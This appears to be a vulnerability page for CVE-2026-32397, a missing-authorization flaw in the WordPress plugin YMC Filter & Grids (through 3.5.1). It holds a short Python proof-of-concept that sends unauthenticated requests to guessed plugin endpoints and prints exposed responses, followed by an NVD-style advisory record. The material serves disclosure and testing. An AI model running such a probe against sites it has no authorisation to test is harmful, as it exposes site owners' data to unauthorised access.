CVE-2026-32397

# CVE-2026-32397 PoC - Missing Authorization in ymc-smart-filter # This PoC demonstrates unauthorized access to protected API endpoints import requests import sys def test_unauthorized_access(target_url): """ Test for missing authorization vulnerability in YMC Filter & Grids plugin """ # Common API endpoints that might be affected api_endpoints = [ '/wp-json/ymc-smart-filter/v1/', '/wp-json/ymc/v1/', '/wp-admin/admin-ajax.php', '/?rest_route=/ymc-smart-filter/v1/' ] print(f"[*] Testing target: {target_url}") print(f"[*] CVE-2026-32397 - Missing Authorization in ymc-smart-filter") for endpoint in api_endpoints: url = target_url.rstrip('/') + endpoint print(f"\n[~] Testing endpoint: {url}") try: # Send request without authentication headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) PoC-Test', 'Content-Type': 'application/json' } response = requests.get(url, headers=headers, timeout=10, verify=False) print(f"[+] Status Code: {response.status_code}") if response.status_code == 200: print(f"[!] VULNERABLE: Endpoint accessible without authentication") print(f"[+] Response preview: {response.text[:500]}") elif response.status_code == 401 or response.status_code == 403: print(f"[-] Protected: Endpoint requires authentication") else: print(f"[*] Status: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] Error accessing endpoint: {e}") if __name__ == "__main__": if len(sys.argv) > 1: target = sys.argv[1] else: target = "http://target-site.com" test_unauthorized_access(target)

{"cve": {"id": "CVE-2026-32397", "sourceIdentifier": "[email protected]", "published": "2026-03-13T19:54:55.447", "lastModified": "2026-04-29T10:17:05.313", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Missing Authorization vulnerability in YMC Filter & Grids ymc-smart-filter allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Filter & Grids: from n/a through <= 3.5.1."}, {"lang": "es", "value": "Vulnerabilidad de autorización faltante en YMC Filter &amp; Grids ymc-smart-filter permite la explotación de niveles de seguridad de control de acceso configurados incorrectamente. Este problema afecta a Filter &amp; Grids: desde n/a hasta &lt;= 3.5.1."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/ymc-smart-filter/vulnerability/wordpress-filter-grids-plugin-3-5-1-broken-access-control-vulnerability?_s_id=cve", "source": "[email protected]"}]}}